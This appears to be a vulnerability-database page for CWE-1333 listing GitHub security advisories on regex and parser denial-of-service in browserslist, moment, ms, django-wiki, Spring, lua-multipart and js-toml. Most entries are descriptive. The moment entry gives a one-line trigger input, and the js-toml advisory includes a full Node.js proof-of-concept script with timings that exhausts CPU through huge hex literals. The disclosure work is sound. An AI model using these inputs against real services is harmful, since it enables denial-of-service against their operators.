Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

724 vulnerabilities reference this CWE, most recent first.

GHSA-W8QV-6JWH-64R5

Vulnerability from github – Published: 2021-05-24 19:52 – Updated: 2021-05-20 22:03
VLAI
Summary
Regular Expression Denial of Service in browserslist
Details

The package browserslist from 4.0.0 and before 4.16.5 are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "browserslist"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.16.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23364"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-20T22:03:36Z",
    "nvd_published_at": "2021-04-28T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The package browserslist from 4.0.0 and before 4.16.5 are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.",
  "id": "GHSA-w8qv-6jwh-64r5",
  "modified": "2021-05-20T22:03:36Z",
  "published": "2021-05-24T19:52:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23364"
    },
    {
      "type": "WEB",
      "url": "https://github.com/browserslist/browserslist/pull/593"
    },
    {
      "type": "WEB",
      "url": "https://github.com/browserslist/browserslist/commit/c091916910dfe0b5fd61caad96083c6709b02d98"
    },
    {
      "type": "WEB",
      "url": "https://github.com/browserslist/browserslist/blob/e82f32d1d4100d6bc79ea0b6b6a2d281a561e33c/index.js%23L472-L474"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1277182"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-BROWSERSLIST-1090194"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in browserslist"
}

GHSA-W963-C33V-9FMC

Vulnerability from github – Published: 2024-07-04 09:32 – Updated: 2024-07-04 09:32
VLAI
Details

The Premium Addons for Elementor plugin for WordPress is vulnerable to Regular Expression Denial of Service (ReDoS) in all versions up to, and including, 4.10.35. This is due to processing user-supplied input as a regular expression. This makes it possible for authenticated attackers, with Author-level access and above, to create and query a malicious post title, resulting in slowing server resources.

Severity
3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-6434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-04T09:15:05Z",
    "severity": "LOW"
  },
  "details": "The Premium Addons for Elementor plugin for WordPress is vulnerable to Regular Expression Denial of Service (ReDoS) in all versions up to, and including, 4.10.35. This is due to processing user-supplied input as a regular expression. This makes it possible for authenticated attackers, with Author-level access and above, to create and query a malicious post title, resulting in slowing server resources.",
  "id": "GHSA-w963-c33v-9fmc",
  "modified": "2024-07-04T09:32:49Z",
  "published": "2024-07-04T09:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6434"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/premium-addons-for-elementor/trunk/includes/class-premium-template-tags.php#L1676"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3110991"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3c59d95a-b7f1-4a04-bbf4-bab2c42d6d75?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W9MR-4MFR-499F

Vulnerability from github – Published: 2023-01-05 12:30 – Updated: 2025-11-04 16:42
VLAI
Summary
Vercel ms Inefficient Regular Expression Complexity vulnerability
Details

A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-20162"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-10T21:45:33Z",
    "nvd_published_at": "2023-01-05T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.",
  "id": "GHSA-w9mr-4mfr-499f",
  "modified": "2025-11-04T16:42:14Z",
  "published": "2023-01-05T12:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-20162"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vercel/ms/pull/89"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vercel/ms/commit/caae2988ba2a37765d055c4eee63d383320ee662"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vercel/ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vercel/ms/releases/tag/2.0.0"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241108-0002"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.217451"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.217451"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vercel ms Inefficient Regular Expression Complexity vulnerability"
}

GHSA-WC69-RHJR-HC9G

Vulnerability from github – Published: 2022-07-06 18:38 – Updated: 2025-11-04 16:38
VLAI
Summary
Moment.js vulnerable to Inefficient Regular Expression Complexity
Details

Impact

  • using string-to-date parsing in moment (more specifically rfc2822 parsing, which is tried by default) has quadratic (N^2) complexity on specific inputs
  • noticeable slowdown is observed with inputs above 10k characters
  • users who pass user-provided strings without sanity length checks to moment constructor are vulnerable to (Re)DoS attacks

Patches

The problem is patched in 2.29.4, the patch can be applied to all affected versions with minimal tweaking.

Workarounds

In general, given the proliferation of ReDoS attacks, it makes sense to limit the length of the user input to something sane, like 200 characters or less. I haven't seen legitimate cases of date-time strings longer than that, so all moment users who do pass a user-originating string to constructor are encouraged to apply such a rudimentary filter, that would help with this but also most future ReDoS vulnerabilities.

References

There is an excellent writeup of the issue here: https://github.com/moment/moment/pull/6015#issuecomment-1152961973=

Details

The issue is rooted in the code that removes legacy comments (stuff inside parenthesis) from strings during rfc2822 parsing. moment("(".repeat(500000)) will take a few minutes to process, which is unacceptable.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "moment"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.18.0"
            },
            {
              "fixed": "2.29.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Moment.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.18.0"
            },
            {
              "fixed": "2.29.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-31129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-06T18:38:49Z",
    "nvd_published_at": "2022-07-06T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\n* using string-to-date parsing in moment (more specifically rfc2822 parsing, which is tried by default) has quadratic (N^2) complexity on specific inputs\n* noticeable slowdown is observed with inputs above 10k characters\n* users who pass user-provided strings without sanity length checks to moment constructor are vulnerable to (Re)DoS attacks\n\n### Patches\nThe problem is patched in 2.29.4, the patch can be applied to all affected versions with minimal tweaking.\n\n### Workarounds\nIn general, given the proliferation of ReDoS attacks, it makes sense to limit the length of the user input to something sane, like 200 characters or less. I haven\u0027t seen legitimate cases of date-time strings longer than that, so all moment users who do pass a user-originating string to constructor are encouraged to apply such a rudimentary filter, that would help with this but also most future ReDoS vulnerabilities.\n\n### References\nThere is an excellent writeup of the issue here: https://github.com/moment/moment/pull/6015#issuecomment-1152961973=\n\n### Details\nThe issue is rooted in the code that removes legacy comments (stuff inside parenthesis) from strings during rfc2822 parsing. `moment(\"(\".repeat(500000))` will take a few minutes to process, which is unacceptable.",
  "id": "GHSA-wc69-rhjr-hc9g",
  "modified": "2025-11-04T16:38:46Z",
  "published": "2022-07-06T18:38:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/moment/moment/security/advisories/GHSA-wc69-rhjr-hc9g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moment/moment/pull/6015#issuecomment-1152961973"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moment/moment/pull/6015/commits/4bbb9f3ccbe231de40207503f344fe5ce97584f4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moment/moment/pull/6015/commits/bfd4f2375d5c1a2106246721d693a9611dddfbfe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moment/moment/pull/6015/commits/dc0d180e90d8a84f7ff13572363330a22b3ea504"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moment/moment/commit/9a3b5894f3d5d602948ac8a02e4ee528a49ca3a3"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241108-0002"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20221014-0003"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZMX5YHELQVCGKKQVFXIYOTBMN23YYSRO"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ORJX2LF6KMPIHP6B2P6KZIVKMLE3LVJ5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IWY24RJA3SBJGA5N4CU4VBPHJPPPJL5O"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6QIO6YNLTK2T7SPKDS4JEL45FANLNC2Q"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZMX5YHELQVCGKKQVFXIYOTBMN23YYSRO"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ORJX2LF6KMPIHP6B2P6KZIVKMLE3LVJ5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IWY24RJA3SBJGA5N4CU4VBPHJPPPJL5O"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6QIO6YNLTK2T7SPKDS4JEL45FANLNC2Q"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00035.html"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/f0952b67-f2ff-44a9-a9cd-99e0a87cb633"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moment/moment"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Moment.js vulnerable to Inefficient Regular Expression Complexity"
}

GHSA-WJ85-W4F4-XH8H

Vulnerability from github – Published: 2024-03-18 20:37 – Updated: 2024-03-19 18:30
VLAI
Summary
Denial of service via regular expression
Details

Impact

All historical installations of django-wiki are vulnerable to maliciously crafted article content, that can cause severe use of server CPU through a regular expression loop.

Patches

Workarounds

Close off access to create and edit articles by anonymous users.

References

Are there any links users can visit to find out more?

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-18T20:37:48Z",
    "nvd_published_at": "2024-03-18T22:15:09Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAll historical installations of django-wiki are vulnerable to maliciously crafted article content, that can cause severe use of server CPU through a regular expression loop.\n\n### Patches\n\n\n\n### Workarounds\n\nClose off access to create and edit articles by anonymous users.\n\n### References\n_Are there any links users can visit to find out more?_\n",
  "id": "GHSA-wj85-w4f4-xh8h",
  "modified": "2024-03-19T18:30:57Z",
  "published": "2024-03-18T20:37:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/django-wiki/django-wiki/security/advisories/GHSA-wj85-w4f4-xh8h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28865"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django-wiki/django-wiki/commit/8e280fd6c0bd27ce847c67b2d216c6cbf920f88c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/django-wiki/django-wiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service via regular expression"
}

GHSA-WJJR-H4WH-W6VV

Vulnerability from github – Published: 2022-05-02 03:22 – Updated: 2022-11-08 15:00
VLAI
Summary
Spring Framework Inefficient Regular Expression Complexity
Details

Algorithmic complexity vulnerability in the java.util.regex.Pattern.compile method in Sun Java Development Kit (JDK) before 1.6, when used with spring.jar in SpringSource Spring Framework 1.1.0 through 2.5.6 and 3.0.0.M1 through 3.0.0.M2 and dm Server 1.0.0 through 1.0.2, allows remote attackers to cause a denial of service (CPU consumption) via serializable data with a long regex string containing multiple optional groups, a related issue to CVE-2004-2540.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            },
            {
              "fixed": "3.0.0.RELEASE"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2009-1190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-08T15:00:08Z",
    "nvd_published_at": "2009-04-27T22:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Algorithmic complexity vulnerability in the java.util.regex.Pattern.compile method in Sun Java Development Kit (JDK) before 1.6, when used with spring.jar in SpringSource Spring Framework 1.1.0 through 2.5.6 and 3.0.0.M1 through 3.0.0.M2 and dm Server 1.0.0 through 1.0.2, allows remote attackers to cause a denial of service (CPU consumption) via serializable data with a long regex string containing multiple optional groups, a related issue to CVE-2004-2540.",
  "id": "GHSA-wjjr-h4wh-w6vv",
  "modified": "2022-11-08T15:00:08Z",
  "published": "2022-05-02T03:22:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1190"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=497161"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/50083"
    },
    {
      "type": "WEB",
      "url": "http://www.packetstormsecurity.org/hitb06/DAY_1_-_Marc_Schoenefeld_-_Pentesting_Java_J2EE.pdf"
    },
    {
      "type": "WEB",
      "url": "http://www.springsource.com/securityadvisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Spring Framework Inefficient Regular Expression Complexity"
}

GHSA-WJP8-5G4J-4RJJ

Vulnerability from github – Published: 2023-02-12 21:30 – Updated: 2023-02-24 06:30
VLAI
Details

A vulnerability was found in Kong lua-multipart 0.5.8-1. It has been declared as problematic. This vulnerability affects the function is_header of the file src/multipart.lua. The manipulation leads to inefficient regular expression complexity. Upgrading to version 0.5.9-1 is able to address this issue. The name of the patch is d632e5df43a2928fd537784a99a79dec288bf01b. It is recommended to upgrade the affected component. VDB-220642 is the identifier assigned to this vulnerability.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-36661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-12T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability was found in Kong lua-multipart 0.5.8-1. It has been declared as problematic. This vulnerability affects the function is_header of the file src/multipart.lua. The manipulation leads to inefficient regular expression complexity. Upgrading to version 0.5.9-1 is able to address this issue. The name of the patch is d632e5df43a2928fd537784a99a79dec288bf01b. It is recommended to upgrade the affected component. VDB-220642 is the identifier assigned to this vulnerability.",
  "id": "GHSA-wjp8-5g4j-4rjj",
  "modified": "2023-02-24T06:30:15Z",
  "published": "2023-02-12T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36661"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kong/lua-multipart/pull/34"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kong/lua-multipart/commit/d632e5df43a2928fd537784a99a79dec288bf01b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kong/lua-multipart/releases/tag/0.5.9-1"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.220642"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.220642"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WP3C-266W-4QFQ

Vulnerability from github – Published: 2026-06-26 22:21 – Updated: 2026-06-26 22:21
VLAI
Summary
js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals
Details

Summary

js-toml versions up to and including 1.1.0 parse hexadecimal / octal / binary integer literals via a hand-written parseBigInt loop that multiplies a BigInt accumulator by the radix once per input digit. Each iteration performs a BigInt * BigInt operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.

A caller that invokes load() on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party *.toml, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.

CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (HIGH) when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).

Affected

  • Package: js-toml (npm)
  • Versions: >= 0.0.0, <= 1.1.0 (all released versions up to and including the current 1.1.0)
  • Affected entry point: load() exported from the package root

Vulnerable code

src/load/tokens/NonDecimalInteger.ts lines 54-84 at SHA-pinned 2470ebf2e9009096aa4cbd1a15e574c54cc36b1a:

const parseBigInt = (string: string, radix: number): bigint => {
  let result = BigInt(0);
  for (let i = 0; i < string.length; i++) {
    const char = string[i];
    const digit = parseInt(char, radix);
    result = result * BigInt(radix) + BigInt(digit);
  }

  return result;
};

and the interpreter that dispatches to it at lines 72-84:

registerTokenInterpreter(NonDecimalInteger, (raw: string) => {
  const intString = raw.replace(/_/g, '');
  const digits = intString.slice(2);
  const radix = getRadix(raw);

  const int = parseInt(digits, radix);

  if (Number.isSafeInteger(int)) {
    return int;
  }

  return parseBigInt(digits, radix);
});

Two compounding problems:

  1. Algorithmic: the loop performs result * BigInt(radix) + BigInt(digit) once per input digit. After i iterations result has O(i) limbs, so the multiply costs O(i). Summed over n digits the total cost is O(n²).

  2. No length guard: the lexer regex at src/load/tokens/NonDecimalInteger.ts#L14-L46 is 0x<hexDigit>(<hexDigit>|_<hexDigit>)* (likewise for 0o / 0b). The literal length is bounded only by the input document size. There is no maxNumberLength / maxLiteralLength option, no chevrotain-level cutoff, and no validation at the interpreter callsite.

By contrast, the DecimalInteger token interpreter at src/load/tokens/DecimalInteger.ts#L12-L19 uses the V8 native BigInt(intString) constructor, which is O(n) and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.

Impact

A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With 8 MB of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls load() (the only documented entry point) on attacker-controlled or third-party TOML.

Reachability

The vulnerable path is the default code path for load(). No options or configuration are required to trigger it. Any caller that exposes load() to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds Number.MAX_SAFE_INTEGER (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).

Realistic exposure surfaces:

  • Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).
  • CI / CD or build tool that runs js-toml on TOML in third-party repositories or pull requests.
  • IDE / language-server plugin that re-parses a TOML buffer on every keystroke.
  • Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.

PoC (End-to-end reproduction)

Environment

  • Node.js v22.x (tested on v22.0.0 and Node v26.0.0)
  • macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)

Install

mkdir js-toml-cve && cd js-toml-cve
npm init -y
npm install js-toml@1.1.0 @iarna/toml

poc_full_e2e.mjs

import { load } from 'js-toml';
import iarna from '@iarna/toml';

function timeIt(label, fn) {
  const t0 = process.hrtime.bigint();
  let result, err;
  try { result = fn(); } catch (e) { err = e; }
  const t1 = process.hrtime.bigint();
  const ms = (Number(t1 - t0) / 1e6).toFixed(1);
  if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);
  else     console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`);
}

console.log('--- Sanity baseline (small inputs) ---');
timeIt('decimal int 1', () => { load('x = 1'); return ''; });
timeIt('hex 0x10',      () => { load('x = 0x10'); return ''; });
timeIt('hex 0xffff',    () => { load('x = 0xffff'); return ''; });

console.log('\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---');
for (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {
  const hexDigits = 'f'.repeat(n);
  const tomlText  = `x = 0x${hexDigits}`;
  timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,
    () => {
      const r = load(tomlText);
      return `bits=${r.x.toString(2).length}`;
    });
}

console.log('\n--- Negative control: same input via @iarna/toml ---');
for (const n of [10_000, 50_000, 100_000, 200_000]) {
  const hexDigits = 'f'.repeat(n);
  const tomlText  = `x = 0x${hexDigits}`;
  timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,
    () => {
      const r = iarna.parse(tomlText);
      return `type=${typeof r.x}`;
    });
}

console.log('\n--- Octal / binary share the same code path ---');
for (const n of [50_000, 100_000]) {
  const octDigits = '7'.repeat(n);
  const binDigits = '1'.repeat(n);
  timeIt(`oct 0o${n.toLocaleString()} digits`,
    () => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });
  timeIt(`bin 0b${n.toLocaleString()} digits`,
    () => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });
}

Captured run output (unpatched js-toml@1.1.0, Node v26.0.0, Apple M-series)

# js-toml version: 1.1.0

--- Sanity baseline (small inputs) ---
decimal int 1: 1.3ms
hex 0x10: 0.4ms
hex 0xffff: 0.1ms

--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits (10006 bytes input): 15.0ms bits=40000
hex 20,000 digits (20006 bytes input): 29.8ms bits=80000
hex 50,000 digits (50006 bytes input): 214.7ms bits=200000
hex 100,000 digits (100006 bytes input): 693.0ms bits=400000
hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000
hex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000

--- Negative control: same input via @iarna/toml ---
@iarna/toml hex 10,000 digits: 2.3ms type=bigint
@iarna/toml hex 50,000 digits: 3.2ms type=bigint
@iarna/toml hex 100,000 digits: 5.4ms type=bigint
@iarna/toml hex 200,000 digits: 10.2ms type=bigint

--- Octal / binary share the same code path ---
oct 0o50,000 digits: 187.6ms bits=150000
bin 0b50,000 digits: 49.5ms bits=50000
oct 0o100,000 digits: 633.2ms bits=300000
bin 0b100,000 digits: 196.8ms bits=100000

Confirmation points:

  • Quadratic curve: 10k → 20k digits is ~2x time (15ms → 30ms); 100k → 200k is ~4.7x time (693ms → 3239ms); 200k → 500k (2.5x) is ~12x time (3.2s → 40s). Matches the predicted O(n²).
  • Single ~500 kB document blocks the event loop for ~40 s of CPU time.
  • Octal and binary literals trigger the same path through parseBigInt(digits, 8) and parseBigInt(digits, 2).
  • The negative control (@iarna/toml, which calls the V8 native BigInt(value) constructor) parses the same inputs in 2-10 ms. The defect is in js-toml's hand-written radix conversion, not in V8 BigInt semantics or in the input size itself.

Patched-build verification

After applying the fix (replace parseBigInt(digits, radix) with BigInt('0' + raw[1] + digits) and add a maxLiteralLength guard at the interpreter callsite), the same PoC produces:

--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits: 0.2ms bits=40000
hex 20,000 digits: 0.3ms bits=80000
hex 50,000 digits: 0.7ms bits=200000
hex 100,000 digits: 1.5ms bits=400000
hex 200,000 digits: 2.8ms bits=800000
hex 500,000 digits: 7.1ms bits=2000000

(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise SyntaxParseError instead of being parsed at all, matching the maxNumberLength convention used by jackson-core StreamReadConstraints and gson NumberLimits.

Suggested fix

Two changes, both in src/load/tokens/NonDecimalInteger.ts:

  1. Replace the hand-written parseBigInt loop with the V8 native BigInt(prefixedString) constructor. BigInt natively accepts the 0x / 0o / 0b prefix and parses in O(n):

```ts registerTokenInterpreter(NonDecimalInteger, (raw: string) => { const intString = raw.replace(/_/g, ''); const digits = intString.slice(2); const radix = getRadix(raw);

 // Optional but recommended: cap the literal length to avoid degenerate inputs
 const MAX_RADIX_LITERAL_LENGTH = 1000;
 if (digits.length > MAX_RADIX_LITERAL_LENGTH) {
   throw new SyntaxParseError(
     `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`
   );
 }

 const int = parseInt(digits, radix);
 if (Number.isSafeInteger(int)) {
   return int;
 }

 // BigInt accepts '0x'/'0o'/'0b' prefix natively
 return BigInt(intString);

}); ```

  1. Delete the parseBigInt helper. The native constructor handles all three radices.

Either change alone fixes the worst-case wall-clock. The combination matches the constraint posture of jackson-core (StreamReadConstraints.validateIntegerLength) and gson (NumberLimits.checkNumberStringLength).

Fix PR link

